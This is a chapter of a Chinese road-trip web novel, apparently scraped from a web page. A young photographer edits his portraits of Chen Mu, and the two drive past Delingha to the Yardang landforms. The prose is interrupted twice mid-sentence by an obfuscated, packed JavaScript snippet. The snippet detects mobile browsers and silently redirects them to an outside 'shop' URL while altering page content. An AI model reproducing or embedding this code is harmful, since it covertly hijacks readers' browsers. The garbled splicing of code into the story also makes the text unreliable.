“……行吧,谢了啊。看不出来小伙子够绅士的。”陈睦说着跟他摆摆手,拖着行李箱进门,“快回去吧,照片今晚修不修也不打紧,早点睡觉。” 然后门就关上了。 * 之所以不愿意回家,要在外面逗留一圈,是因为杨糕想在开学前准备一些摄影作品,最好能有更加像样一点的作品集。 一成年就着急考驾照,本身就是为了这个——搞得好的话开学后的各种评优评奖会有更多机会,任何需要毛遂自荐的时候都用得上,而且现在还多了一个重要功能——他希望能用这部作品告诉爸妈,他在摄影方面真的有天赋,他能在这方面做得很好,这不是一个错误的选择。 但是他是真的有天赋吗? 他确实很喜欢拍照,从初中开始,班上、学校里有什么活动,都总是会安排他拍摄记录。而且他也确实顺利地被摄影专业录取,这似乎证明了他在这方面是真的比一般人要优秀。 可是真正有了“专业人士”的头衔以后,他又感觉到压力——优秀的人实在太多了。 各类社交软件上,各行各业的人,他们在拥有自己的专业技能的同时,还能拍出一手好照片。他所引以为傲的构图技巧、修图手法,其实很多非专业的人都会。 那他的特殊究竟在哪里呢?是不是就像父亲说的,这种“镶边的东西”就只能当爱好玩一玩,或者成为工作中的一点特长,而不是拿它当作吃饭的本事? 杨糕感到压力,他并不知道自己的选择到底是不是对的,也许在修改志愿的那一刻他就已经错了,但他很明确如果不这么做的话,他会更后悔。 每当他这么想的时候,就又会想起陈睦的那句“这世上没那么多错可犯”,这让他那容易动摇的小心脏又稍稍稳了稳。 所以即便陈睦说了照片修不修不要紧,他回去后还是点灯熬油地看起了白天的成果。 快门按得密集,现在翻页又快,视觉效果上就像是陈睦动起来了一样,看得出在整个拍摄过程中,她的肢体和神情愈发自然。 笔记本电脑的光线打向杨糕,映照着他脸上的微笑,可他偏还不觉得自己的笑有什么问题,毕竟这是他精心拍摄的作品。 那确实是个非常高挑健美的躯体,神情也完全遵从本心,不加任何讨好意味——别说讨好了,她甚至都有点讨厌了,哪有女生说话那么随便、那么不在乎别人感受的啊。 刚好翻到一张陈睦表情崩了的,应该是在翻白眼,嘴也向下撇着不知道在说什么,反正是一副很刻薄的样子。 杨糕一下子笑出声来,然后忍不住对着这表情皱一皱鼻子。 是啦,讨厌又有什么用,毕竟是被她救了还要蹭车啊,所以给她当牛做马也是没办法的事。 这么一想,杨糕又把笑容收起——当时真的很惊险,他的小命差点就交代在那里了。 他真的有后悔把车开下戈壁滩,因为如果是在公路上烧起来,路过的人肯定会帮他,可他偏偏把车开到了远离车流的地方,那么车身一翻真就是叫天不应叫地不灵。 他清楚得记得那辆橘色越野车,“嗖”得一下就从远方发射过来了,本来看都有点看不清,转瞬间就变成那么大一个。 然后那个高大的身影飞扑过来,脏兮兮的鞋底子往他脸前的玻璃上一蹬,简直像是往他脸上踹了一脚,紧接着她人就爬到了侧窗那边,抡起锤头…… 或许是想起那种命悬一线的感觉,杨糕的心跳得砰砰的,他赶紧再往后翻别的照片。 山坡之下,湖水之边,她就这么挺直着身板,大大咧咧地来去,或奔跑,或驻足。 她驻足时风浪都好像为之静止,定格在按下快门的一瞬;她奔跑时云山好像都随她流淌,但又远远地被她落在身后。 她说杨糕拍得她皮肤差,但杨糕还真就喜欢拍这种原生态的面孔,他觉得每一道风霜都是故事。 是什么样的工作,让她经常接触荒漠戈壁,造就了这样粗劣的肤质?是经历了什么样的事故,让她鬓角处有了细小的伤痕,至今留着泛白的痕迹? 记录下这样的状态,记录下这个活生生的人,这就是摄影的意义。 杨糕真的特别想知道她之前是做什么的,为什么和同事之间能够留下称得上是“搭档”的深厚情谊,还是说,这是她个人性格使然? 也是,是搭档就对了,怎么可能会是男朋友呢?像她这样粗糙、我行我素的大高个女生,到底什么样的男生会喜欢啊。 到底什么样的男生……会……喜欢…… 正这么想着,杨糕恰翻到了那张有海鸥飞过的回眸抓拍,那冷不丁地一瞅让他浑身一颤。 他也不敢细想,只是立刻用修图软件打开了这张图,很显然他今晚最想修的就是这张了。 然后在修图时,他照旧要来点背景音。 在听书软件打开《海子诗集》的朗诵音频,杨糕决定从最应景的《日记》一节开始听起。 开篇是绿皮火车隆隆的声音,这也一下子将杨糕带入了许多年前,那苍凉萧瑟的小城中—— 姐姐,今夜我在德令哈,夜色笼罩 姐姐,我今夜只有戈壁 草原尽头我两手空空 悲痛时握不住一颗泪滴 姐姐,今夜我在德令哈 这是雨水中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240614|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座荒凉的城 除了那些路过的和居住的 德令哈......今夜 这是唯一的,最后的,抒情 这是唯一的,最后的,草原 我把石头还给石头 让胜利的胜利 今夜青稞只属于他自己 一切都在生长 今夜我只有美丽的戈壁 空空 姐姐,今夜我不关心人类,我只想你 * 所以当第二天一早,陈睦看见杨糕半夜两点发来的消息时,她脑瓜嗡得一声。 得,看来今天是她开全程了,杨糕就算要开,她也不敢坐。 这属于疲劳驾驶这是。 但是当她打开这条消息,看到杨糕发来的图片时,她真情实感地“哇哦”了一声。 就是,沉醉在了自己的美色中。 昨夜陈睦睡得也挺好的,累得不行倒头就睡,直到闹钟响了爬起来,眼睛一闭一睁一夜就过去了。 连澡都是早上起来才洗的。 因为带了个小摄影师的缘故,陈睦倒是有稍微思考一下今天穿什么——她隐约记得今天的行程是基本上也都是湖啊水啊什么的,而昨天在青海湖杨糕一直说什么白色更出片。 好理解,反正就是白色百搭呗。 于是陈睦翻出了自己此行唯一的白色衣服——一件白色圆领衬衫,下身是一条已经洗脱色的了宽松牛仔裤。 从下往上套裤子的时候陈睦还想呢,以前豪豪他们老说她节俭,裤子洗成这样了还接着穿,她总是回应“这不是节俭,我这人穿衣服就是随意,穿得舒服就行”。 她没好意思说她就觉得洗成这个色儿的牛仔裤好看,做旧款都没这个味儿,两腿一蹬贼拉风。 倒是徐来会在一旁拆穿:“别管她了,她就算买新衣服不也是这个风格吗?” 陈睦机警:“什么风格?” “流浪汉风。” 每当这种时候陈睦总会杀出去追他二里地,是那种烈日炎炎下旁人看着都嫌累的追法。 如今别说追二里地了,就外头这太阳,陈睦睁眼一看就想缩回床上不动弹。 所以旅游有人陪到底还是好事吧,要真是自个儿一个她可能就继续睡了,可她毕竟还是个好面子的人,可不想给旁人留下身体虚弱、难以自律的不可靠印象。 于是,陈·体魄健壮·自律达人·精神领袖·睦,拖上自己的行李箱美美下楼。 她的车在停车场停着,很显眼,正寻思着把行李箱扛上去后开过去接杨糕,就听到暗处那个声音叫道:“喂,怎么这么慢啊。” 陈睦被吓了一跳,扭头看去。 只见杨糕穿了件黑色短袖卫衣,下身是灰色工装短裤,仔细一看头发还抹了发胶,把头帘抓上去了。 该说不说整得还有点小帅,看得陈睦心生不爽。 她直接一伸手把那臭屁的发型揉乱了,揉得杨糕惊声尖叫:“你干嘛啊,我好不容易弄好的!” “你做什么发型,是你拍照还是我拍照?”陈睦说着还冲他小腿踢了一脚,“上副驾待着去!” 16.空空 所以杨糕得到了自己专业生涯的第一个感悟——搞人像拍摄的话,自己最好不要打扮得比模特还好看,容易让模特不自信。 德令哈的早晨分外安静,安静得不像这个地儿的旅游旺季,开门的店子没几家,仔细一看几乎全是做烧烤生意的。 不过小卖部倒是很多。 因为要赶路,中午大概率吃不上正经饭,所以陈睦他们再次购入补给,完事儿刚好碰上附近有家牦牛壮骨汤。 杨糕大快朵颐,吃得饱饱的,可怜陈睦适应不来,吃了几口就把筷子放下了。 “你不吃吗?”杨糕惊讶,“他家这个牦牛肉还挺新鲜的呢!” “我不太行。”陈睦还对自己口腔里的味道感到崩溃,“我感觉……有股子牛味。” “废话,牦牛就是牛啊,当然会有牛味!” “我是说很重的牛味。”陈睦喝了口矿泉水,咕嘟咕嘟然后咽下去,“像是我跑牛棚里抱着牛啃了一口的,那种牛味。” 杨糕险些笑出羊叫。 陈睦没管他,又开始看菜单上面的小甜品:“这个甜醅好吃吗?” “好吃,但是里面有酒精,你开车吃不了。你要不吃碗酸奶呗,酸奶总不会出错了。” “酸奶昨天吃过了,想换个东西尝尝。” “那可以试试尕面片。” “在西宁也吃过了,原来那个字念‘嘎’吗?” “对,就是小的意思。我们这边会说尕娃娃,就是小娃娃。” “哦……那这个杂碎又是什么?”陈睦寻思骂得还挺脏。 杨糕抬抬筷子:“你连牦牛肉都吃不了,杂碎就不要想了,这个更重口。” “所以是什么?内脏?” “对,牛羊杂碎,一般包括头肉、口条、肚子、眼睛、肠子……” * 最后还是选择了尕面片。 杨糕等了一会儿,见陈睦不主动提,便佯作不经意地边嗦粉边问:“对了姐,我发给你的照片,你觉得怎么样?” “还行吧。”陈睦吃着面片模模糊糊应他,“我不本来就长那样吗。” “……”可以,底片不好看是摄影师的错,精修好看是自己就长那样。 熬到大半夜的劳动成果就这么被轻飘飘带过,让杨糕略有不爽,但他也不能硬逼着人家说“超好看,我超喜欢的”,所以不爽也只能生闷气。 又低头吃了两口,到底还是想引导她承认自己真的很厉害:“哎,那你昨天不是还有别的照片嘛,你说你骑牦牛拍过照的来着,那组照片拍得怎么样?” 陈睦正玩手机,闻言抬头:“怎么,你想看看吗?” “额……对啊,不行吗?” “那我发给你,你要没什么事儿挑两张好看的也帮我修一下。”陈睦说着已经一键选中,然后刷刷地就给杨糕发图。 杨糕真是气极了,他想说“请你尊重一下我的职业追求”“我不是随便什么人拍的照片都愿意修的”“我说给你当摄影师和导游也不代表你可以这样对我呼来喝去的”。 但是话还没出口,点开聊天对话框一看——陈睦的头像已经换了,新头像正是昨夜他发的那张照片。 杨糕:“这些很多构图都有问题的,我只能尽量修哦。” * 简单的早餐之后,二人便重新启程上路了。 陈睦一般没有服人的时候,但杨糕的这个精气神她不得不服——他看上去完全不像是熬了夜的人,叽叽喳喳的还是很兴奋:“瞧见没,这就出了德令哈了,过了这一小片就没有草原了,所以海子的诗里说德令哈是‘草原尽头’。” 倒是陈睦本人吃了面片就开始晕碳水,全靠一瓶咖啡吊着精神:“所以我就没机会抱小奶羊了?” “那倒也不是。”杨糕说着又开始在本子上写写画画,“今天从德令哈到大柴旦,主要是看戈壁滩和雅丹地貌;后面从大柴旦到敦煌,会慢慢出现沙漠……” “哟,还会路过敦煌?”陈睦眼前一亮,“课本上那个敦煌吗?那不得去莫高窟看看?” “你在做梦吗姐?想看莫高窟你等淡季再来一趟吧,这个季节说走就走的旅行你还想看莫高窟?你在想peach。” “怎么了?是人太多了吗?” “反正得提前一个月才能买到票,你到现在还没买票,其实就等于弃权。” 陈睦语塞片刻,很快调整心态:“没事儿,那地方太学术了,我去了也看不明白——哎,那你买票了吗?” “我也没,那里头不给拍照。” * 杨糕继续讲解:“然后再往后是敦煌到张掖,这个阶段是从沙漠地貌到丹霞地貌。最后从张掖返回西宁会路过祁连大草原,那里牧家乐很多,也是你找到小羊的最后机会。” 至此陈睦总算是了解了西北大环线的全貌。 “你早说啊。”她松了口气,“我就说嘛,你们这边羊肉馆子这么多,怎么可能接下来就没羊了呢?” “所以你到底为什么非要抱小羊啊?”杨糕早就想问了,“我看你吃羊肉的那个架势,感觉也不是什么爱羊人士。” 陈睦有被这个独创名词逗到:“因为一开始就是因为看到小奶羊的视频才来的……” “就这样?” “对啊。” “我还以为你跟那个徐来有什么关于小羊的约定呢。” 说这话时杨糕有意无意地往陈睦脸上瞥了一眼,他分明地看见陈睦表情一僵。 不过也就僵了那么一下下而已,她很快就重新舒缓下来,只是略显尴尬地伸手揉了一把后脑勺:“我算是知道你打哪知道那么多校园八卦了,合着你不好好学习,脑子都用在这些事上了。” 果然还是不对劲,这不是对“搭档”应有的反应。 杨糕心里又泛起一种奇怪的感觉,但脸上还故作轻松,他甚至得意地挑了下眉头:“有什么不好意思说的啊,咱们也就萍水相逢,你告诉我我又不会告诉别人——你们之间,不是普通搭档关系吧?” * 说话间汽车就上了315国道,这条被越野爱好者称作“此生必驾”的公路两旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253381|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尽是拍摄西部牛仔片都不会穿帮的特别景象。 就像海子的诗里说的,荒凉,空空,美丽又抒情。 映衬得陈睦脸上也略显落寞,她嘴巴张了又闭,像是在斟酌词句。 杨糕看在眼里,急在心里——不至于吧!像她这样的人,真的会为了区区一个男人这么为难吗?! 但陈睦确实不避讳谈这个,毕竟真正能扎她心窝的压根不是这个,她顶多是不太知道怎么讲:“……我俩反正确实没谈过。这不是不好意思,我总不能跟你说没有的事。” 这话一出,杨糕的心跳似乎稍稍平复一些:“那暧昧总逃不过了吧?” “……嗯?” “对啊,你们一男一女的,又是搭档……话说你们搭档了很久吗?” “算久吧?”陈睦在心算,“我24岁那年开始的,到去年为止……那就是搭档了4年。” 好家伙,4年? 杨糕的那些同学能撑过高中三年不分手就算金婚,这俩人居然搭档了4年? 他一口气差点没上来,面上却还非要假装一副对这八卦特别感兴趣的样子:“4年都没谈?这个徐来是长得很丑吗?” “丑?开玩笑,他的颜值可是登过报的!”陈睦说着就笑起来。 这个事儿想起来可逗呢—— 当时在徐来的邀请下,陈睦毅然辞去工作到他那当全职车手,第一次比赛二人都压力颇大。 这一场要是拿不下来,他们俩一个得去继承家业,一个落得满盘皆输——不过陈睦盘算着实在不行还能去给徐来当员工。 总是也许是适度紧张的缘故,陈睦一把超常发挥,直接冠军出道。 然后汽车杂志就刊登了他俩的光荣事迹,左边一页是陈睦的照片,头衔是“六边形战士”,右边一页是徐来的照片,边上大字写着“偶像派颜值”。 这两页被裱了起来,挂在他们训练场的内墙上,并成为每一次聚餐聚会都要拿出来说道说道的巨大笑柄。 毕竟对于一个不靠脸吃饭的工作来说,在工作场合被盛赞颜值,还挺让当事人不痛快的。 所以当杨糕提起这事,陈睦一下子有点支楞不住:“我还怀疑我当初就是被这个美貌所惑,跟被下了降头似的就辞职了——我跟你说我本来在公司都当上主管了,前途一片炒米粉啊,然后他,就跟那个海报似的,往我这一指,I need you,然后我就……” “靠边停车!”杨糕总算听不下去了,突然大喊一声。 陈睦也被吓了一跳,不管三七二十一打方向就靠边停了。 她以为是遇到了什么险情,但停下后前后左右一观察,没发现有什么不对。 于是确定安全之后,一巴掌不轻不重地扇在杨糕后脑勺上:“死孩子瞎喊什么呢?你吓死我了知不知道?” “嗷!”杨糕吃痛地捂住脑袋。 他也不知道自己为什么要喊,反正就是觉得憋闷,不好受,一身的牛劲没地方使。 好在这儿确实也该停车了:“雅丹地貌到了,下来拍照!”